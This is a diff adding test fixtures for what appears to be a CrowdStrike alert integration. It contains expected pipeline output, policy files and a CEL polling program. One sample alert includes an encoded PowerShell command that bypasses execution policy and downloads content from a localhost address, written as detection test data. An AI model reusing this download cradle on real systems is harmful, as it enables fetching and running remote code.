+                    "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
+                    "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                    "crawled_timestamp": "2024-11-07T20:49:59.123Z",
+                    "created_timestamp": "2024-11-07T20:49:59.123Z",
+                    "detect_type": "endpoint",
+                    "host_type": "Server",
+                    "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                    "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
+                    "name": "OTHERUSER on OTHERHOST",
+                    "operating_system": "Windows",
+                    "pattern_id": "97000",
+                    "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==",
+                    "prevented": true,
+                    "process_id": "123456789123",
+                    "product": "overwatch",
+                    "seconds_to_resolved": 0,
+                    "seconds_to_triaged": 0,
+                    "show_in_ui": true,
+                    "status": "new",
+                    "tags": [
+                        "ow/investigated",
+                        "ow/resolution/benign"
+                    ],
+                    "timestamp": "2024-11-07T20:47:22.000Z",
+                    "tree_id": "12345678901",
+                    "type": "lead",
+                    "updated_timestamp": "2024-11-07T20:49:59.123Z",
+                    "user_name": "SOMEUSER",
+                    "worker_node_name": "example"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
+                "kind": "alert",
+                "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"user_name\":\"SOMEUSER\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\", \"prevented\":true,\"worker_node_name\":\"example\"}"
+            },
+            "file": {
+                "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
+            },
+            "host": {
+                "id": "abcd1234abcd1234abcd12",
+                "name": "OTHERHOST",
+                "os": {
+                    "name": "Windows",
+                    "type": "windows"
+                },
+                "type": "Server"
+            },
+            "process": {
+                "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
+                "entity_id": "123456789123",
+                "pid": 123456789123
+            },
+            "related": {
+                "hosts": [
+                    "OTHERHOST"
+                ],
+                "user": [
+                    "SOMEUSER",
+                    "OTHERUSER"
+                ]
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields",
+                "ow/investigated",
+                "ow/resolution/benign"
+            ],
+            "user": {
+                "name": "SOMEUSER"
+            }
+        },
+        {
+            "@timestamp": "2025-06-06T10:20:41.789Z",
+            "crowdstrike": {
+                "alert": {
+                    "agent_id": "7940b10993e844e398f83bd92aa92b8f",
+                    "aggregate_id": "aggind:7940b10993e844e398f83bd92aa92b8f:17181460644",
+                    "alleged_filetype": "exe",
+                    "cid": "bdc3e3474d8848f1b8dcf41d41669a14",
+                    "cloud_indicator": false,
+                    "cmdline": "cmd crowdstrike_test_informational",
+                    "composite_id": "bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000",
+                    "confidence": 100,
+                    "context_timestamp": "2025-06-06T10:20:41.124Z",
+                    "control_graph_id": "ctg:7940b10993e844e398f83bd92aa92b8f:17181460644",
+                    "crawled_timestamp": "2025-06-06T10:21:45.624Z",
+                    "created_timestamp": "2025-06-06T10:21:45.624Z",
+                    "data_domains": [
+                        "Endpoint"
+                    ],
+                    "description": "An informational level detection was triggered on this process for testing purposes.",
+                    "device": {
+                        "agent_load_flags": 1,
+                        "agent_local_time": "2025-06-06T06:28:45.178Z",
+                        "agent_version": "7.24.19607.0",
+                        "bios_manufacturer": "Microsoft Corporation",
+                        "bios_version": "Hyper-V UEFI Release v4.1",
+                        "cid": "bdc3e3474d8848f1b8dcf41d41669a14",
+                        "config_id_base": "65994767",
+                        "config_id_build": "19607",
+                        "config_id_platform": 3,
+                        "external_ip": "81.2.69.144",
+                        "first_seen": "2025-05-29T11:54:43.000Z",
+                        "groups": [
+                            "f3ba4e75244b4d06837c910a00bf80be"
+                        ],
+                        "hostname": "raquel-win10-3",
+                        "id": "7940b10993e844e398f83bd92aa92b8f",
+                        "last_seen": "2025-06-06T09:44:59.000Z",
+                        "local_ip": "10.0.0.13",
+                        "mac_address": "60-45-BD-D2-D4-37",
+                        "major_version": "10",
+                        "minor_version": "0",
+                        "modified_timestamp": "2025-06-06T10:18:32.000Z",
+                        "os_version": "Windows 10",
+                        "platform_id": "0",
+                        "platform_name": "Windows",
+                        "product_type": "1",
+                        "product_type_desc": "Workstation",
+                        "status": "normal",
+                        "system_manufacturer": "Microsoft Corporation",
+                        "system_product_name": "Virtual Machine"
+                    },
+                    "display_name": "TestTriggerInformational",
+                    "email_sent": true,
+                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge",
+                    "filename": "cmd.exe",
+                    "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "global_prevalence": "common",
+                    "grandparent_details": {
+                        "cmdline": "cmd crowdstrike_test_medium",
+                        "filename": "cmd.exe",
+                        "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                        "local_process_id": "2796",
+                        "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
+                        "process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17938741315",
+                        "process_id": "17938741315",
+                        "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0",
+                        "timestamp": "2025-06-06T10:20:21.000Z",
+                        "user_graph_id": "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500",
+                        "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500",
+                        "user_name": "win10_user3"
+                    },
+                    "has_script_or_module_ioc": false,
+                    "id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000",
+                    "indicator_id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000",
+                    "is_synthetic_quarantine_disposition": false,
+                    "local_prevalence": "unique",
+                    "local_process_id": "6028",
+                    "logon_domain": "raquel-win10-3",
+                    "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
+                    "name": "DemoInformationalPattern",
+                    "objective": "Falcon Detection Method",
+                    "parent_details": {
+                        "cmdline": "cmd crowdstrike_test_low",
+                        "filename": "cmd.exe",
+                        "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                        "local_process_id": "4840",
+                        "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
+                        "process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17940808135",
+                        "process_id": "17940808135",
+                        "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0",
+                        "timestamp": "2025-06-06T10:20:32.000Z",
+                        "user_graph_id": "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500",
+                        "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500",
+                        "user_name": "win10_user3"
+                    },
+                    "parent_process_id": "17940808135",
+                    "pattern_disposition": 0,
+                    "pattern_disposition_description": "Detection, standard detection.",
+                    "pattern_disposition_details": {
+                        "blocking_unsupported_or_disabled": false,
+                        "bootup_safeguard_enabled": false,
+                        "containment_file_system": false,
+                        "critical_process_disabled": false,
+                        "detect": false,
+                        "fs_operation_blocked": false,
+                        "handle_operation_downgraded": false,
+                        "inddet_mask": false,
+                        "indicator": false,
+                        "kill_action_failed": false,
+                        "kill_parent": false,
+                        "kill_process": false,
+                        "kill_subprocess": false,
+                        "mfa_required": false,
+                        "operation_blocked": false,
+                        "policy_disabled": false,
+                        "prevention_provisioning_enabled": false,
+                        "process_blocked": false,
+                        "quarantine_file": false,
+                        "quarantine_machine": false,
+                        "registry_operation_blocked": false,
+                        "response_action_already_applied": false,
+                        "response_action_failed": false,
+                        "response_action_triggered": false,
+                        "rooting": false,
+                        "sensor_only": false,
+                        "suspend_parent": false,
+                        "suspend_process": false
+                    },
+                    "pattern_id": "10307",
+                    "platform": "Windows",
+                    "poly_id": "AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==",
+                    "process_id": "17942810918",
+                    "process_start_time": "2025-06-06T10:20:41.000Z",
+                    "product": "epp",
+                    "scenario": "suspicious_activity",
+                    "seconds_to_resolved": 0,
+                    "seconds_to_triaged": 0,
+                    "severity": 10,
+                    "severity_name": "Informational",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0",
+                    "show_in_ui": true,
+                    "source_products": [
+                        "Falcon Insight"
+                    ],
+                    "source_vendors": [
+                        "CrowdStrike"
+                    ],
+                    "status": "new",
+                    "tactic": "Falcon Overwatch",
+                    "tactic_id": "CSTA0006",
+                    "technique": "Malicious Activity",
+                    "technique_id": "CST0002",
+                    "template_instance_id": "1339",
+                    "timestamp": "2025-06-06T10:20:41.789Z",
+                    "tree_id": "17181460644",
+                    "tree_root": "17934037600",
+                    "triggering_process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17942810918",
+                    "type": "ldt",
+                    "updated_timestamp": "2025-06-06T10:21:50.710Z",
+                    "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500",
+                    "user_name": "win10_user3"
+                }
+            },
+            "device": {
+                "id": "7940b10993e844e398f83bd92aa92b8f",
+                "manufacturer": "Microsoft Corporation",
+                "model": {
+                    "name": "Virtual Machine"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000",
+                "kind": "alert",
+                "original": "{\"agent_id\":\"7940b10993e844e398f83bd92aa92b8f\",\"aggregate_id\":\"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644\",\"alleged_filetype\":\"exe\",\"cid\":\"bdc3e3474d8848f1b8dcf41d41669a14\",\"cloud_indicator\":\"false\",\"cmdline\":\"cmd crowdstrike_test_informational\",\"composite_id\":\"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"confidence\":100,\"context_timestamp\":\"2025-06-06T10:20:41.124Z\",\"control_graph_id\":\"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644\",\"crawled_timestamp\":\"2025-06-06T10:21:45.624194206Z\",\"created_timestamp\":\"2025-06-06T10:21:45.624178312Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"An informational level detection was triggered on this process for testing purposes.\",\"device\":{\"agent_load_flags\":\"1\",\"agent_local_time\":\"2025-06-06T06:28:45.178Z\",\"agent_version\":\"7.24.19607.0\",\"bios_manufacturer\":\"Microsoft Corporation\",\"bios_version\":\"Hyper-V UEFI Release v4.1\",\"cid\":\"bdc3e3474d8848f1b8dcf41d41669a14\",\"config_id_base\":\"65994767\",\"config_id_build\":\"19607\",\"config_id_platform\":\"3\",\"device_id\":\"7940b10993e844e398f83bd92aa92b8f\",\"external_ip\":\"81.2.69.144\",\"first_seen\":\"2025-05-29T11:54:43Z\",\"groups\":[\"f3ba4e75244b4d06837c910a00bf80be\"],\"hostinfo\":{\"domain\":\"\"},\"hostname\":\"raquel-win10-3\",\"instance_id\":\"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6\",\"last_seen\":\"2025-06-06T09:44:59Z\",\"local_ip\":\"10.0.0.13\",\"mac_address\":\"60-45-bd-d2-d4-37\",\"machine_domain\":\"\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2025-06-06T10:18:32Z\",\"os_version\":\"Windows 10\",\"ou\":null,\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"service_provider\":\"AZURE\",\"service_provider_account_id\":\"7599433a-346d-4c25-b9d0-2948136c41f5\",\"status\":\"normal\",\"system_manufacturer\":\"Microsoft Corporation\",\"system_product_name\":\"Virtual Machine\"},\"display_name\":\"TestTriggerInformational\",\"email_sent\":true,\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"global_prevalence\":\"common\",\"grandparent_details\":{\"cmdline\":\"cmd crowdstrike_test_medium\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"local_process_id\":\"2796\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17938741315\",\"process_id\":\"17938741315\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"timestamp\":\"2025-06-06T10:20:21Z\",\"user_graph_id\":\"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"},\"id\":\"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"indicator_id\":\"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"ioc_context\":[],\"local_prevalence\":\"unique\",\"local_process_id\":\"6028\",\"logon_domain\":\"raquel-win10-3\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"name\":\"DemoInformationalPattern\",\"objective\":\"Falcon Detection Method\",\"parent_details\":{\"cmdline\":\"cmd crowdstrike_test_low\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"local_process_id\":\"4840\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17940808135\",\"process_id\":\"17940808135\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"timestamp\":\"2025-06-06T10:20:32Z\",\"user_graph_id\":\"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"},\"parent_process_id\":\"17940808135\",\"pattern_disposition\":0,\"pattern_disposition_description\":\"Detection, standard detection.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"containment_file_system\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"mfa_required\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"prevention_provisioning_enabled\":false,\"process_blocked\":false,\"quarantine_file\":false,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"response_action_already_applied\":false,\"response_action_failed\":false,\"response_action_triggered\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":10307,\"platform\":\"Windows\",\"poly_id\":\"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==\",\"priority_explanation\":[\"[MOD] The severity of the detection: Informational\"],\"priority_value\":10,\"process_id\":\"17942810918\",\"process_start_time\":\"1749205241\",\"product\":\"epp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":10,\"severity_name\":\"Informational\",\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"show_in_ui\":true,\"source_products\":[\"Falcon Insight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"Falcon Overwatch\",\"tactic_id\":\"CSTA0006\",\"technique\":\"Malicious Activity\",\"technique_id\":\"CST0002\",\"template_instance_id\":\"1339\",\"timestamp\":\"2025-06-06T10:20:41.789Z\",\"tree_id\":\"17181460644\",\"tree_root\":\"17934037600\",\"triggering_process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17942810918\",\"type\":\"ldt\",\"updated_timestamp\":\"2025-06-06T10:21:50.710758858Z\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"}",
+                "severity": 21,
+                "type": [
+                    "start"
+                ]
+            },
+            "file": {
+                "name": "cmd.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
+            },
+            "host": {
+                "hostname": "raquel-win10-3",
+                "id": "7940b10993e844e398f83bd92aa92b8f",
+                "ip": [
+                    "81.2.69.144",
+                    "10.0.0.13"
+                ],
+                "mac": [
+                    "60-45-BD-D2-D4-37"
+                ],
+                "os": {
+                    "full": "Windows 10",
+                    "platform": "Windows",
+                    "type": "windows"
+                }
+            },
+            "message": "An informational level detection was triggered on this process for testing purposes.",
+            "process": {
+                "entity_id": "17942810918",
+                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                "hash": {
+                    "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0"
+                },
+                "name": "cmd.exe",
+                "parent": {
+                    "command_line": "cmd crowdstrike_test_low",
+                    "entity_id": "17940808135",
+                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "hash": {
+                        "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
+                        "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0"
+                    },
+                    "name": "cmd.exe",
+                    "pid": 17940808135
+                },
+                "pid": 17942810918,
+                "start": "2025-06-06T10:20:41.000Z",
+                "user": {
+                    "id": "S-1-5-21-2765107603-2663188678-2286454264-500",
+                    "name": "win10_user3"
+                }
+            },
+            "related": {
+                "hash": [
+                    "2b40c98ed0f7a1d3b091a3e8353132dc",
+                    "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0",
+                    "0000000000000000000000000000000000000000"
+                ],
+                "hosts": [
+                    "raquel-win10-3"
+                ],
+                "ip": [
+                    "81.2.69.144",
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500",
+                    "S-1-5-21-2765107603-2663188678-2286454264-500",
+                    "win10_user3"
+                ]
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "id": [
+                        "CSTA0006"
+                    ],
+                    "name": [
+                        "Falcon Overwatch"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "CST0002"
+                    ],
+                    "name": [
+                        "Malicious Activity"
+                    ]
+                }
+            },
+            "user": {
+                "id": "S-1-5-21-2765107603-2663188678-2286454264-500",
+                "name": "win10_user3"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml
new file mode 100644
index 0000000000..be41bb0d47
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml
@@ -0,0 +1,4 @@
+fields:
+  tags:
+    - preserve_original_event
+    - preserve_duplicate_custom_fields
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected
new file mode 100644
index 0000000000..af6a6e323c
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected
@@ -0,0 +1,134 @@
+inputs:
+    - data_stream:
+        namespace: ep
+      meta:
+        package:
+            name: crowdstrike
+      name: test-default-crowdstrike
+      streams:
+        - auth.oauth2:
+            client.id: test_client_id
+            client.secret: ${SECRET_0}
+            token_url: http://host.tld/oauth2/token
+          config_version: 2
+          data_stream:
+            dataset: crowdstrike.alert
+          interval: 24h
+          program: |-
+            state.with(
+              (
+                state.?want_more.orValue(false) ?
+                  state.start_time
+                :
+                  state.?cursor.last_timestamp.orValue(
+                    (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano)
+                  )
+              ).as(start_time,
+                post_request(
+                  state.url.trim_right("/") + "/alerts/combined/alerts/v1?",
+                  "application/json",
+                  {
+                    ?"after": state.?next.page_token,
+                    "limit": int(state.batch_size),
+                    "sort": "updated_timestamp|asc",
+                    "filter": [
+                      "updated_timestamp:>'" + start_time + "'",
+                      ?state.?query.optMap(q, "(" + q + ")"),
+                    ].join("+"),
+                  }.encode_json()
+                ).do_request().as(resp, (resp.StatusCode == 200) ?
+                  resp.Body.decode_json().as(body,
+                    (size(body.?errors.orValue([])) > 0) ?
+                      {
+                        "events": body.errors.map(error,
+                          {
+                            "error": {
+                              "code": string(error.code),
+                              "message": string(error.message),
+                            },
+                          }
+                        ),
+                        "next": {},
+                        "want_more": false,
+                      }
+                    :
+                      {
+                        "events": has(body.resources) ?
+                          body.resources.map(e,
+                            {
+                              "message": e.encode_json(),
+                            }
+                          )
+                        :
+                          [],
+                        "start_time": start_time,
+                        "next": {
+                          ?"page_token": body.?meta.pagination.after,
+                        },
+                        "cursor": {
+                          // The records are sorted in ascending order based on the value of updated_timestamp,
+                          // in the next interval we start from the last event (newest) time.
+                          ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ?
+                            optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano))
+                          :
+                            state.?cursor.last_timestamp,
+                        },
+                        "want_more": has(body.?meta.pagination.after),
+                      }
+                  )
+                :
+                  {
+                    "events": {
+                      "error": {
+                        "code": string(resp.StatusCode),
+                        "id": string(resp.Status),
+                        "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + (
+                          (size(resp.Body) != 0) ?
+                            string(resp.Body)
+                          :
+                            string(resp.Status) + " (" + string(resp.StatusCode) + ")"
+                        ),
+                      },
+                    },
+                    "next": {},
+                    "want_more": false,
+                  }
+                )
+              )
+            )
+          publisher_pipeline.disable_host: true
+          redact:
+            fields: null
+          resource.ssl: null
+          resource.timeout: 30s
+          resource.tracer:
+            enabled: false
+            filename: ../../logs/cel/http-request-trace-*.ndjson
+            maxbackups: 5
+          resource.url: http://host.tld
+          state:
+            batch_size: 1000
+            initial_interval: 24h
+          tags:
+            - preserve_original_event
+            - preserve_duplicate_custom_fields
+            - forwarded
+            - crowdstrike-alert
+      type: cel
+      use_output: default
+output_permissions:
+    default:
+        _elastic_agent_checks:
+            cluster:
+                - monitor
+        _elastic_agent_monitoring:
+            indices: []
+        uuid-for-permissions-on-related-indices:
+            indices:
+                - names:
+                    - logs-crowdstrike.alert-ep
+                  privileges:
+                    - auto_configure
+                    - create_doc
+secret_references:
+    - {}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml
new file mode 100644
index 0000000000..58bbc1f403
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml
@@ -0,0 +1,9 @@
+vars:
+  url: http://host.tld
+  client_id: test_client_id
+  client_secret: test_client_secret
+  token_url: http://host.tld/oauth2/token
+data_stream:
+  vars:
+    preserve_original_event: true
+    preserve_duplicate_custom_fields: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected
new file mode 100644
index 0000000000..dbe88b82e4
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected
@@ -0,0 +1,134 @@
+inputs:
+    - data_stream:
+        namespace: ep
+      meta:
+        package:
+            name: crowdstrike
+      name: test-traced-crowdstrike
+      streams:
+        - auth.oauth2:
+            client.id: test_client_id
+            client.secret: ${SECRET_0}
+            token_url: http://host.tld/oauth2/token
+          config_version: 2
+          data_stream:
+            dataset: crowdstrike.alert
+          interval: 24h
+          program: |-
+            state.with(
+              (
+                state.?want_more.orValue(false) ?
+                  state.start_time
+                :
+                  state.?cursor.last_timestamp.orValue(
+                    (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano)
+                  )
+              ).as(start_time,
+                post_request(
+                  state.url.trim_right("/") + "/alerts/combined/alerts/v1?",
+                  "application/json",
+                  {
+                    ?"after": state.?next.page_token,
+                    "limit": int(state.batch_size),
+                    "sort": "updated_timestamp|asc",
+                    "filter": [
+                      "updated_timestamp:>'" + start_time + "'",
+                      ?state.?query.optMap(q, "(" + q + ")"),
+                    ].join("+"),
+                  }.encode_json()
+                ).do_request().as(resp, (resp.StatusCode == 200) ?
+                  resp.Body.decode_json().as(body,
+                    (size(body.?errors.orValue([])) > 0) ?
+                      {
+                        "events": body.errors.map(error,
+                          {
+                            "error": {
+                              "code": string(error.code),
+                              "message": string(error.message),
+                            },
+                          }
+                        ),
+                        "next": {},
+                        "want_more": false,
+                      }
+                    :
+                      {
+                        "events": has(body.resources) ?
+                          body.resources.map(e,
+                            {
+                              "message": e.encode_json(),
+                            }
+                          )
+                        :
+                          [],
+                        "start_time": start_time,
+                        "next": {
+                          ?"page_token": body.?meta.pagination.after,
+                        },
+                        "cursor": {
+                          // The records are sorted in ascending order based on the value of updated_timestamp,
+                          // in the next interval we start from the last event (newest) time.
+                          ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ?
+                            optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano))
+                          :
+                            state.?cursor.last_timestamp,
+                        },
